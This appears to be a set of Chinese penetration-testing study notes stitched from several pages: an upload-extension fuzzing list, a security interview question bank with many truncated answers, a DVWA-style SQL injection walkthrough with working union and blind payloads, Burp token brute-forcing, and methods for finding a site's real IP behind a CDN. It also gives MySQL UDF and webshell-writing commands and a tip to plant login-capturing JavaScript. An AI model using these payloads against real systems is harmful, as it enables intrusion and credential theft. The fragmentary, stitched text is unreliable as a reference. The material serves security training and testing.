7.6.1 文件上传漏洞懒人检测方法
判断是否为黑白名单,如果是白名单 寻找可控参数。如果是黑名单禁止上传,可以用有危害的后缀名批量提交测试,寻找遗留的执行脚本。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51.php
.php5
.php4
.php3
.php2
.html
.htm
.phtml
.pht
.pHp
.phP
.pHp5
.pHp4
.pHp3
.pHp2
.Html
.Htm
.pHtml
.jsp
.jspa
.jspx
.jsw
.jsv
.jspf
.jtml
.jSp
.jSpx
.jSpa
.jSw
.jSv
.jSpf
.jHtml
.asp
.aspx
.asa
.asax
.ascx
.ashx
.asmx
.cer
.aSp
.aSpx
.aSa
.aSax
.aScx
.aShx
.aSmx
.cEr
.sWf
.swf
.htaccess
使用 burpsuite 抓包上传将后缀名设置成变量,把这些文件设置成一个字典批量提交。
查看数据包大小 查看确定时候可上传即可。
8. 文件上传的防御方法简述
服务器端使用白名单防御,修复 web 中间件的漏洞,禁止客户端存在可控参数,存放文件目录禁止脚本执行,限制后缀名 一定要设置图片格式 jpg、gif 、png 文件名随机的,不可预测。
9. 文件上传的攻击方法

面试总结
:面试总结
目录
[TOC]
如果你觉得我写的不够清楚,或者还有很多东西没有写。
那么一定是我觉得很简单不用写的内容,严格的来说,这些简答的内容,应该已经化作养分融入到了你的血液,成为了你的生物行为和习惯。
如果这些都不会,我觉得,就算你去忽悠面试官,你也忽悠不了。
所以还是老老实实学习吧。
应该从喜欢里得到力量和快乐,而不是耗尽你的所有快乐和喜欢得到力量。
爱一个行业和技能应该是长期的细水长流,而不是短暂的决堤崩洪。
一、WEB:
1-SQL注入原理
1 | WEB应用程序对用户输入的数据 |
2-SQL注入分类
1 | 从反馈结果来分 |
3-SQL注入防御
1 | 代码层防御 |
4-XSS原理
1 | 1-XSS漏洞是跨站脚本攻击 |
5-XSS分类
1 | 1-反射型 |
6-XSS区别
1 | 反射型 和 存储型 |
7-CSRF 成功利用的条件
1 | 1- 用户在统一浏览器下 |
8-SSRF原理
1 | 1- 服务器允许向其他服务器获取资源 |
9-SSRF危害
1 | 1- SSRF漏洞几乎无所不能 |
10-SSRF防御
1 | 1- 地址做白名单处理 |
11-文件上传分类
1 | 1- 白名单 |
12-文件上传的突破
1 | 1- 前端JS突破:抓包修改文件名 或者 禁用当前浏览器的JS脚本 |
13-你了解那些中间件
1 | 1- iis6.x |
14-你会那些解析漏洞
1 | 1- IIS6.X |
15-未授权访问漏洞
1 | 常见的未授权访问漏洞: |
参考链接: https://xz.aliyun.com/t/6103
16-XXE的原理
1 | XXE漏洞就是xml外部实体注入漏洞, |
17-XXE的分类
1 | 1- 有回显型XXE |
补充:XXE有哪些引入方式
1 | 1- 本地映入 |
18-遇到XXE的盲注怎么办
1 | 如果遇到XXE无回显注入的话,可以选择使用DNS外带和 外部参数实体注入 |
20-遇到那些框架
21-win提权
1 | 1-内核提权 systeminfo 寻找对应EXP |
22-linux提权
1 | 1- 脏牛提权 |
补充:说说你了解的脏牛提权
1 | 我当时没上来,有哪位老哥,比较好的答案,记得发给我啊,跪谢 |
23-数据库提权
1 | MySQL |
补充:MySQL UDF提权的常用命令
1 | create function cmdshell returns string soname 'udf.dll'; |
补充:MySQL VBS启动项提权
1 | 原理概述 |
补充:Linux下的MySQL提权
1 | mysql -hlocalhost -uroot -p |
24-说说SQLmap
1 | 1-SQLmap 是最强大的注入工具,没有之一,几乎所有的数据库都可以注入 |
25-说说Nmap
1 | Nmap 是一款网络扫描和主机检测的工具 |
26-说说MSF
1 | 常用命令 |
27-SQL注入bypass你会那些手法
1 | 1-等量替换 |
28-文件上传怎么绕过
1 |
29-命令执行怎么绕过
1 | cat 233.txt |
30-了解域渗透吗?说说域渗透
1 | 1-制作白银票据 |
31-php反序列化
1 | 其实我觉得按照传统的概念去回答真的不好。如果谁有比较好的回答,请发给我 |
32-说说java
33-用python写过工具吗?
34-python用过那些框架?
35-做过那些项目?
36-说一下渗透流程
1 | 1-信息收集 |
37-你怎么做信息收集
1 | 收集域名信息 |
38-有CNVD证书吗?
39-打过CTF吗?有排名吗?
40-平时在哪里挖漏洞?都挖那些漏洞?挖了多久?主要挖那些类型的漏洞?有排名吗?
41-了解那些端口?
1 | web网站 |
42-某某端口是什么意思?
43- 如何手工快速判断目标站是windows还是linux服务器?
1 | linux大小写敏感,windows大小写不敏感。 |
44- 为何一个mysql数据库的站,只有一个80端口开放?
1 | 更改了端口 |
45- 3389无法连接的几种情况
1 | 没开放3389 端口 |
46-MySQL 怎么写shell
1 | select '一句话' into outfile '路径' |
47-MySQL 写shell有那几个必要的条件?都是那些
1 | 写shell必要的有3个条件 |
48-了解编辑器漏洞吗?
1 | 其实还是文件上传漏洞 |
49- access 扫出后缀为asp的数据库文件,访问乱码,如何实现到本地利用?
1 | 迅雷下载,直接改后缀为.mdb。 |
50- 提权时选择可读写目录,为何尽量不用带空格的目录?
1 | 因为exp执行多半需要空格界定参数 |
51- 注入时可以不使用and 或or 或xor,直接order by 开始注入吗? 为什么?
1 | and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。 |
52-某个防注入系统,在注入时会提示
系统检测到你有非法注入的行为。
已记录您的ip xx.xx.xx.xx
时间:2016:01-23
提交页面:test.asp?id=15
提交内容:and 1=1
如何利用这个防注入系统拿shell?
1 | 在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接 |
53- 上传大马后访问乱码时,有哪些解决办法?
1 | 浏览器中改编码。 |
54- 目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?
1 | 先爆破用户名,再利用被爆破出来的用户名爆破密码。 |
55- 在有shell的情况下,如何使用xss实现对目标站的长久控制?
1 | 后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个 生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。 |
56- 后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?
1 | 审查元素 把密码处的password属性改成text就明文显示了 |
57- 以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?
indext.php?id=AjAxNg==
1 | DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试 |
58-SQLserver有几种提权方式?怎么提权?
1 | 有三种提权方式 |
59- CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
1 | XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。 |
60- CSRF、SSRF和重放攻击有什么区别?
1 | CSRF是跨站请求伪造攻击,由客户端发起 |
61- 说出至少三种业务逻辑漏洞,以及修复方式?
1 | 密码找回漏洞中存在 |
62- 如何防止CSRF?
1 | 1、验证referer |
63-OWAP TOP 10都有哪些?
1 | 1、SQL注入 |
64- 代码执行,文件读取,命令执行的函数都有哪些?
1 | 1-代码执行: |
65- img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
1 | src指定一个远程的脚本文件,获取referer |
66-文件包含都有哪些伪协议?
1 | file:// 访问本地文件系统 |
67-文件上传怎么突破过滤?
前端绕过、大小写突破、双重后缀名突破、过滤绕过、特殊后缀名、特殊后缀名等等
69-cookie 存在哪里?
70-xss 如何盗取 cookie?
71-xss 有 cookie 一定可以无用户名密码登录吗?
72-xss 如何防御?
73-Https 的作用
74-防范常见的 Web 攻击
75-Cookies 和 session 区别
76-GET 和 POST 的区别
77-HTTPS 和 HTTP 的区别
78-session 的工作原理?
79-http 长连接和短连接的区别
80-一次完整的 HTTP 请求过程
81-URI 和 URL 的区别
82-什么是 SSL ?
83-https 是如何保证数据传输的安全(SSL 是怎么工作保证安全的)
84-常见的状态码有哪些?
85-防范常见的 Web 攻击
86-什么是webshell
87-IIS 服务器应该做哪些方面的保护措施:
88-xss 有 cookie 一定可以无用户名密码登录吗?
89- JNI 函数在 java 中函数名为 com.didi.security.main,C 中的函数名是什么样的?
90-Frida 和 Xposed 框架?
91-SSRF 利用方式?
92-HTTPS 握手过程中用到哪些技术?
93-请写出两种有可能实现任意命令执行的方式?
94-常见的中间件漏洞?
95-OWASP Top10 有哪些漏洞
96-蚁剑/菜刀/C 刀/冰蝎的相同与不相同之处
97-数据库有哪些,关系型的和非关系型的分别是哪些
98-为何一个 MYSQL 数据库的站,只有一个 80 端口开放?
99-一个成熟并且相对安全的 CMS,渗透时扫描目录的意义?
100-在某后台新闻编辑界面看到编辑器,应该先做什么?
101-审查上传点的元素有什么意义?
102-CSRF、XSS 及 XXE 有什么区别,以及修复方式?
103-3389 无法连接的几种情况
104-目标站无防护,上传图片可以正常访问,上传脚本格式访问则 403,什么原因?
105-目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?
106-如何突破注入时字符被转义?
107-拿到一个 webshell 发现网站根目录下有.htaccess 文件,我们能做什么?
108-安全狗会追踪变量,从而发现出是一句话木马吗?
109-提权时选择可读写目录,为何尽量不用带空格的目录?
110-如何利用这个防注入系统拿 shell?
111-报错注入的函数有哪些?
112-延时注入如何来判断?
113-如何拿一个网站的 webshell?
114-sql 注入写文件都有哪些函数?
115-代码执行,文件读取,命令执行的函数都有哪些?
116-img 标签除了 onerror 属性外,还有其他获取管理员路径的办法吗?
117-为什么 aspx 木马权限比 asp 大?
118-如何绕过 waf?
119-mysql 两种提权方式
120-宽字节注入产生原理以及根本原因
121-sql 如何写 shell/单引号被过滤怎么办
122-XSS 蠕虫的产生条件
123-常见的上传绕过方式.导致文件包含的函数
124-导致文件包含的函数
125-金融行业常见逻辑漏洞
126-常用 WEB 开发 JAVA 框架
127-php 中命令执行涉及到的函数
128-宝塔禁止PHP函数如何绕过?
129-webshell有system权限但无法执行命令,怎么办?
130-说下strust2的漏洞利用原理?
131-php/java反序列化漏洞的原理?解决方案?
132-CRLF注入的原理
133-php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的?
134-说说常见的中间件解析
二、内网
- dll 文件是什么意思,有什么用?
- 重要协议分布层
- arp 协议的工作原理
- rip 协议是什么?rip 的工作原理
- 什么是 RARP?工作原理
- OSPF 协议?OSPF 的工作原理
- TCP 与 UDP 区别总结
- 什么是三次握手四次挥手?
- tcp 为什么要三次握手?
- dns 是什么?dns 的工作原理
- OSI 的七层模型都有哪些?
- session 的工作原理?什么是 TCP 粘包/拆包?发生原因?解决方案
- TCP 如何保证可靠传输?
- TCP 对应的应用层协议,UDP 对应的应用层协议
- 什么是网络钓鱼?
- 0day 漏洞
- Rootkit 是什么意思
- 蜜罐
- ssh
- 震网病毒
- NAT(网络地址转换)协议
- 内网穿透
- 虚拟专用网络
- 二层交换机
- 路由技术
- 三层交换机
- IPv6 地址表示
- 内网渗透思路?
- 正向代理和反向代理的区别
- Windows 常用的提权方法
- Linux 提权有哪些方法
- 3389 无法连接的几种情况
- nmap,扫描的几种方式
- 渗透测试中常见的端口
- 用什么扫描端口,目录
- 3306 1443 8080 是什么端口
- 清理日志要清理哪些(windows和linux)
- go语言免杀shellcode如何免杀?免杀原理是什么?
- windows defender防御机制原理,如何绕过?
- 卡巴斯基进程保护如何绕过进行进程迁移?
- fastjson不出网如何利用?
- 工作组环境下如何进行渗透?详细说明渗透思路。
- 内存马的机制?
- 不出网有什么方法,正向shel l 方法除了reg之类的,还有什么?
- 什么是域内委派?利用要点?
- shiro漏洞类型,721原理,721利用要注意什么?
- hvv三大洞?
- 天擎终端防护如何绕过,绕过思路?
- 免杀木马的思路?
- jsonp跨域的危害,cors跨域的危害?
- 说出印象比较深刻的一次外网打点进入内网?
- rmi的利用原理?
- 域内的一个普通用户(非域用户)如何进行利用?
- 证书透明度的危害?
- 内网渗透降权的作用?
- TrustedInstall权限的原理是什么?
- 2008的服务权限如何进行提权?
- Windows UAC原理是什么?
- Windows添加用户如何绕过火绒以及360?
- 如何伪造钓鱼邮箱?会面临什么问题?
- 分别说出redis、weblogic、Mongodb、Elasticsearch、ldap、sambda、Jenkins、rmi默认端口。
- 烂土豆提权使用过吗?它的原理?
- powershell免杀怎么制作?
- 提取内存hash被查杀,如何绕过?
- 分别说下linux、windows的权限维持?
- 如何开展红队工作?
- 如何把shellcode嵌入到正常exe中?
- 描述下Spring框架的几个漏洞?
三、其他
一、对称加密和非对称加密
- 对称加密:加密解密用同一个密钥
- 非对称加密:公钥加密,私钥解密;公钥可以公开给别人进行加密,私钥永远在自己手里
- SYN 攻击原理
- 什么是网络钓鱼?
- 什么是 CC 攻击?
- Web 服务器被入侵后,怎样进行排查?
- 你获取网络安全知识途径有哪些?
- DDOS
- 手工查找后门木马的小技巧
- 脱壳
- “人肉搜索”
- SYN Flood 的基本原理
- 什么是手机”越狱“
- 主机被入侵,你会如何处理这件事自查解决方案:
- 证书要考哪些?
- 宏病毒?
- APP 加壳?
- 勒索软件 Wanacry 的特征?蠕虫、僵尸病毒
- ARM32 位指令中,返回值和返回地址保存在哪个寄存器中?
- Android APP 逆向分析步骤一般是怎么样的?
- ddos 如何防护
- 有没有抓过包,会不会写 wireshark 过滤规则
- 如何加固一个域环境下的 Windows 桌面工作环境?请给出你的思路。
- RSA 算法
- AES/DES 的具体工作步骤
- 如何开展蓝队工作?
二、什么是同源策略?
四、素质面:
1-自我介绍?
2-你愿意加班吗?
3-为什么投我们公司?
4-你觉得有哪些是你会别人不会的?
5-你最想在哪些城市发展?
sql 注入漏洞
sql 漏洞注入
漏洞描述
Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入webshell 、执行系统命令以及绕过登录限制等。
测试方法
在发现有可控参数的地方使用 sqlmap 进行 SQL 注入的检查或者利用,也可以使用其他的 SQL 注入工具,简单点的可以手工测试,利用单引号、and 1=1 和 and 1=2 以及字符型注入进行判断!推荐使用 burpsuite 的 sqlmap 插件,这样可以很方便,鼠标右键就可以将数据包直接发送到 sqlmap 里面进行检测了!
代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御 sql 注入的最佳方法。
- 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。
- 对进入数据库的特殊字符( ‘ <>&*; 等)进行转义处理,或编码转换。
- 确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。
- 数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
- 网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。
- 严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
- 避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
1.1 判断是否存在注入
回显是指页面有数据信息返回
id =1 and 1=1
id = 1 and 1=2
id = 1 or 1=1
id = ‘1’ or ‘1’=’1’
id=” 1 “or “1”=”1”
无回显是指根据输入的语句页面没有任何变化,或者没有数据库中的内容显示到网页中.
1.2 三种 sql 注释符
# 单行注释 注意与 url 中的#区分,常编码为%23--空格 单行注释 注意为短线短线空格
/() 多行注释 至少存在俩处的注入 /*/常用来作为空格
1.3 注入流程
是否存在注入并且判断注入类型
1 | 判断字段数 order by |
补充一点,使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编码绕过
1.4 SQL 注入分类
SQL 注入分类,按 SQLMap 中的分类来看,SQL 注入类型有以下 5 种:
UNION query SQL injection (可联合查询注入)
Stacked queries SQL injection (可多语句查询注入)堆叠查询
Boolean-based blind SQL injection (布尔型注入)
Error-based SQL injection (报错型注入)
Time-based blind SQL injection (基于时间延迟注入)
1.5 接受请求类型区分
GET注入
GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制中文需要 URL 编码
POST注入
POST 请求参数是放在请求 body 里的,长度没有限制
COOKIE注入
cookie 参数放在请求头信息,提交的时候服务器会从请求头获取
1.6 注入数据类型的区分
int 整形
select from users where id=1
sting 字符型
select from users where username=’admin’
like 搜索型
select * from news where title like ‘%标题%’
1.7 SQL 注入常规利用思路
- 寻找注入点,可以通过 web 扫描工具实现
- 通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
- 猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
- 还可以获取数据库的 root 账号 密码—思路
- 可以通过获得的用户信息,寻找后台登录。
- 利用后台或了解的进一步信息。
1.8 手工注入常规思路
- 判断是否存在注入,注入是字符型还是数字型
- 猜解 SQL 查询语句中的字段数 order by N
- 确定显示的字段顺序
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段名
- 查询到账户的数据
1.9 SQL 详细注入过程
猜数据库:1' union select 1,database()
payload 利用另一种方式:1' union select user(),database() version()
得到数据库名:dvwa
PS:union 查询结合了两个 select 查询结果,根据上面的 order by 语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用 union 查询结合我们构造的另外一个 select.注意在使用 union 查询的时候需要和主查询的列数相同。
猜表名:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()
得到表名:guestbook,users
group_concat 分组
猜列名:1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#
(用编码就不用单引号,用单引号就不用编码) 得到列:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,usernam e,password
猜用户数据:列举出几种 payload:1
2
31' or 1=1 union select
group_concat(user_id,first_name,last_name),group_concat(password) from users # 1' union select null,concat_ws(char(32,58,32),user,password) from users # 1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from
users #
得到用户数据:
admin 5f4dcc3b5aa765d61d8327deb882cf99
猜 root 用户:#1' union select 1,group_concat(user,password) from mysql.user#
得到 root 用户信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
1.10.1 判断 SQL 注入
输入 1’and ‘1’=’1 页面返回用户信息 1’and ‘1’=’2 页面返回不一样的信息 基本可以确定存在 SQL 注入漏洞
1.10.2 判断字段数
使用语句 order by 确定当前表的字符数
order by 1 如果页面返回正常 字段数不少于 1,order by 2 不少于 2,一直如此类
推直到页面出错。正确的字段数是出错数字减少 1
公式 order by n-11
2
31' order by 1--+ 正常
1' order by 2--+ 正常
1' order by 3--+ 出错
1.10.3 联合查询注入获取敏感信息
联合查询 输入 数字 查询页面是否有数字输出。输出的地方就是显示的内容但
是被数字替换了。-1 是让前面的表查询的内容不存在。所以就会显示显示数字。
-1' union select 1,2--+
把数据替换成 mysql 的函数例如 md5(1) 这会在页面返回 1 的 md5 加密信息。
使用这个函数一般是白帽子扫描器的匹配存在漏洞的特征码。
接着获取 mysql 版本 当前用户权限 当前数据库
version() mysql 版本
database() 当前数据库
user() 当前用户名
group_concat()分组打印字符串
把函数直接替换数字查看页面-1' union select 1,version()--+
使用组命令查询多个元素,可用16进制转化为标点隔开
如果你想一次打印多个敏感信息可以使用 group_concat()把查询的函数写人里
0x3A 是:这个符号的十六进制 在 mysql 里会自动转成符号:
ASCII码表在线查询-1' union select 1,group_concat(user(),0x3A,database(),0x3A,version())--+
1.10.4 联合查询注入通过 information_schema 获取表
在黑盒的情况下是不知道当前库有什么表的,可以通过 mysql 自带的
information_schema 查询当前库的表。
查询当前库的表 limit 1 相当于 limit 1,1 表示显示第一个 1 改成 2 就是第二个
如此类推
第一个表-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
第二个表-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,2)--+
1.10.5 联合查询注入通过 information_schema 获取字
同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS
这个表记录所有表的字段。通过 COLUMNS 查询 users 表的字段。
获取 users 表第一个字段名-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1))--+
获取 users 表第二个字段名-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1))--+
获取 users 表第三个字段名-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 3,1))--+
1.10.6 通过联合查询表里的内容
通过以上的黑盒查询 获取库名、表名、字段、那么就可以查询某个表的内容。-1' union select 1,(select group_concat(user,0x3a,password) from users limit 1)--+
1.11 判断盲注入
输入 SQL 注入检测语句 判断页面是否不一样,如果不一样大概会存在 SQL 注
入漏洞 1'and '1'='1 一样 1'and '1'='2 不一样,如果输入检测语句页面没有任何改变可以使用延时语句进行检测 1'and sleep(10)--+ 函数 sleep() 在 mysql 是延时返回的意思 。以秒为单位 sleep(10) 即延时 10 秒执行。
1.11.1 boolean 布尔型注入攻击
布尔型注入攻击,因为页面不会返回任何数据库内容,所以不能使用联合查询将敏感信息显示在页面,但是可以通过构造 SQL 语句,获取数据。
布尔型盲注入用到的 SQL 语句 select if(1=1,1,0) if() 函数在 mysql 是判断,第一个参数表达式,如果条件成立,会显示1,否则显示 0 。 1=1 表达式可以换成构造的 SQL 攻击语句。1' and if(1=1,1,0)--+ 页面返回正常,这个语句实际上是 1’and 1,真 and 真 结果为真,1 是存在记录的。所以返回正确页面。
1’ and if(1=2,1,0)—+ 页面返回错误,这个语句就是 1’and 0 ,真 and 假 结果为假,整个 SQL ID 的值也是 0 所以没有记录,返回错误页面。
使用 Burp suite 对有token的网站穷举
使用 Burp suite 对有token的网站穷举
1. 介绍
有的网站后台存在 token 值,这个 token 通俗的名字叫令牌,每次刷新页面都会
随机变化。提交请求时必须携带这个 token 值,可以利用这点避免后台进行直接
穷举和防止 csrf 攻击。
2. Burp Suite 设置宏获取 token 对网站后台密码破解
使用Burp Suite对目标网站进行抓包,接着 forward 放行这个数据包
来到 Project options —> Session— >add

选择 Run a macro


点击之后选择网页历史选择GET提交方式查看是否有 token (注意信息长度)



选择 value 的值 在 Parameter name 处填写 user_token 这个值一定要与键值(步骤11)相同



将创建的 user_token 添加到步骤15中


选择应用全部 URL 也是可以的。
截止到这里宏就设置成功了
接着穷举测试 抓包 设置变量 添加密码字典


添加字典

选择总是跳转

进行攻击

根据长度获得密码
部署CDN的网站找真实IP
部署CDN的网络找真实IP
1.判断是否CDN
ping 域名
使用超级ping
http://ping.chinaz.com/ 站长之家
http://ping.aizhan.com/ 爱站
https://www.17ce.com/ 17ce
http://ping.chinaz.com/www.t00ls.net ChinaZ
2. 找真实IP的方法集合
2.1 DNS历史绑定记录
通过以下这些网站可以访问dns的解析,有可能存在未有绑cdn之前的记录。
https://dnsdb.io/zh-cn/ DNS查询
https://x.threatbook.cn/ 微步在线
http://viewdns.info/ DNS、IP等查询
https://tools.ipip.net/cdn.php CDN查询IP
https://sitereport.netcraft.com/?url=域名
https://site.ip138.com/www.t00ls.net/ ip138
2.2 域名解析
通过子域名的解析指向 也有可能指向目标的同一个IP上。
使用工具对其子域名进行穷举
在线子域名查询
https://securitytrails.com/list/apex_domain/t00ls.net
http://tool.chinaz.com/subdomain/t00ls.net
https://phpinfo.me/domain/
找到子域名继续确认子域名没有cdn的情况下批量进行域名解析查询,有cdn的情况继续查询历史。
域名批量解析
http://tools.bugscaner.com/domain2ip.html
2.3 国外dns获取真实IP
部分cdn只针对国内的ip访问,如果国外ip访问域名 即可获取真实IP
全世界DNS地址:
http://www.ab173.com/dns/dns_world.php
https://dnsdumpster.com/
https://dnshistory.org/
http://whoisrequest.com/history/
https://completedns.com/dns-history/
http://dnstrails.com/
https://who.is/domain-history/
http://research.domaintools.com/research/hosting-history/ http://site.ip138.com/
http://viewdns.info/iphistory/
https://dnsdb.io/zh-cn/
https://www.virustotal.com/
https://x.threatbook.cn/
http://viewdns.info/
http://www.17ce.com/
http://toolbar.netcraft.com/site_report?url= https://securitytrails.com/
https://tools.ipip.net/cdn.php
2.4 ico图标通过空间搜索找真实ip
下载图标
放到fofa识别
通过zoomeye搜图标
查询 快速定位资源 查看端口是否开放
绑定hosts进行测试
win101
2C:\Windows\System32\drivers\etc\host
参数配置说明: ip + 空格 + 域名
kali1
2sudo vim /etc/hosts
vimcurl 进行测试
2.5 fofa搜索真实IP
domain=”t00ls.net” 302一般是cdn
2.6 通过censys找真实ip
Censys工具就能实现对整个互联网的扫描,Censys是一款用以搜索联网设备信息的新型搜索引擎,能够扫描整个互联网,Censys会将互联网所有的ip进行扫面和连接,以及证书探测。
若目标站点有https证书,并且默认虚拟主机配了https证书,我们就可以找所有目标站点是该https证书的站点。
通过协议查询
https://search.censys.io/ censys
2.7 360测绘中心
2.8 利用SSL证书寻找真实IP
证书颁发机构(CA)必须将他们发布的每个SSL/TLS证书发布到公共日志中,SSL/TLS证书通常包含域名、子域名和电子邮件地址。因此SSL/TLS证书成为了攻击者的切入点。
获取网站SSL证书的HASH再结合Censys
利用Censys搜索网站的SSL证书及HASH,在https://crt.sh上查找目标网站SSL证书的HASH
再用Censys搜索该HASH即可得到真实IP地址
SSL证书搜索引擎:
https://crt.sh crt
找到hash Decimal
转成ipv4 进行搜索
2.9 邮箱获取真实IP
网站在发信的时候,会附带真实的IP地址
- 文件探针
- phpinfo
- 网站源代码
- 信息泄露
- GitHub信息泄露
- js文件
2.11 F5 LTM解码法
当服务器使用F5 LTM做负载均衡时,通过对set-cookie关键字的解码真实ip也可被获取.
例如:Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,先把第一小节的十进制数即487098378取来,然后将其转为十六进制数1d08880a,接着从后至前,以此取四位数出来,也就是0a.88.08.1d,最后依次把他们转为十进制数10.136.8.29,也就是最后的真实ip。1
2rverpool-cas01=3255675072.20480.0000; path=/
3255675072 转十六进制 c20da8c0 从右向左取 c0a80dc2 转10进制 192 168 13 1942.12 APP获取真实IP
如果网站有app,使用Fiddler或BurpSuite抓取数据包 可能获取真实IP
模拟器 mumu模拟器抓包2.13 小程序获取真实IP
2.14 配置不当获取真实IP
在配置CDN的时候,需要指定域名、端口等信息,有时候小小的配置细节就容易导致CDN防护被绕过。
- 案例1:为了方便用户访问,我们常常将www.test.com 和 test.com 解析到同一个站点,而CDN只配置了www.test.com,通过访问test.com,就可以绕过 CDN 了。
- 案例2:站点同时支持http和https访问,CDN只配置 https协议,那么这时访问http就可以轻易绕过。
2.15 banner
获取目标站点的banner,在全网搜索引擎搜索,也可以使用AQUATONE,在Shodan上搜索相同指纹站点。
可以通过互联网络信息中心的IP数据,筛选目标地区IP,遍历Web服务的banner用来对比CDN站的banner,可以确定源IP。
欧洲:
http://ftp.ripe.net/pub/stats/ripencc/delegated-ripencc-latest 欧洲
北美:
https://ftp.arin.net/pub/stats/arin/delegated-arin-extended-latest 北美
亚洲:
ftp://ftp.apnic.net/public/apnic/stats/apnic/delegated-apnic-latest 亚洲
非洲:
ftp://ftp.afrinic.net/pub/stats/afrinic/delegated-afrinic-latest 非洲
拉美:
ftp://ftp.lacnic.net/pub/stats/lacnic/delegated-lacnic-extended-latest 拉美
获取CN的IP
http://www.ipdeny.com/ipblocks/data/countries/cn.zone CN
- ZMap号称是最快的互联网扫描工具,能够在45分钟扫遍全网。https://github.com/zmap/zmap ZMap
- Masscan号称是最快的互联网端口扫描器,最快可以在六分钟内扫遍互联网。https://github.com/robertdavidgraham/masscan Masscan
2.16 长期关注
在长期渗透的时候,设置程序每天访问网站,可能有新的发现。每天零点 或者业务需求增大 它会换ip 换服务器的。2.17 流量攻击
发包机可以一下子发送很大的流量。
这个方法是很笨,但是在特定的目标下渗透,建议采用。
cdn除了能隐藏ip,可能还考虑到分配流量,
不设防的cdn 量大就会挂,高防cdn 要大流量访问。
经受不住大流量冲击的时候可能会显示真实ip。
站长->业务不正常->cdn不使用->更换服务器。2.18 被动获取
被动获取就是让服务器或网站主动连接我们的服务器,从而获取服务器的真实IP
如果网站有编辑器可以填写远程url图片,即可获取真实IP
如果存在ssrf漏洞 或者xss 让服务器主动连接我们的服务器 均可获取真实IP。2.19 扫全网获取真实IP
https://github.com/superfish9/hackcdn
https://github.com/boy-hack/w8fuckcdn
信息收集
信息收集
1. whois 查询
1.1 在线 whois 查询
通过whois来对域名信息进行查询,可以查到注册商、注册人、邮箱、DNS解析服务器、注册人联系电话等,因为有些网站信息查得到,有些网站信息查不到,所以推荐以下信息比较全的查询网站,直接输入目标站点即可查询到相关信息。
站长之家域名WHOIS信息查询地址 http://whois.chinaz.com/ 站长之家
爱站网域名WHOIS信息查询地址 https://whois.aizhan.com/ 爱站网
腾讯云域名WHOIS信息查询地址 https://whois.cloud.tencent.com/ 腾讯云
美橙互联域名WHOIS信息查询地址 https://whois.cndns.com/ 美橙互联
爱名网域名WHOIS信息查询地址 https://www.22.cn/domain/ 爱名网
易名网域名WHOIS信息查询地址 https://whois.ename.net/ 易名网
中国万网域名WHOIS信息查询地址 https://whois.aliyun.com/ 中国万网
西部数码域名WHOIS信息查询地址 https://whois.west.cn/ 西部数码
新网域名WHOIS信息查询地址 http://whois.xinnet.com/domain/whois/index.jsp 新网
纳网域名WHOIS信息查询地址 http://whois.nawang.cn/ 纳网
中资源域名WHOIS信息查询地址 https://www.zzy.cn/domain/whois.html 中资源
三五互联域名WHOIS信息查询地址 https://cp.35.com/chinese/whois.php 三五互联
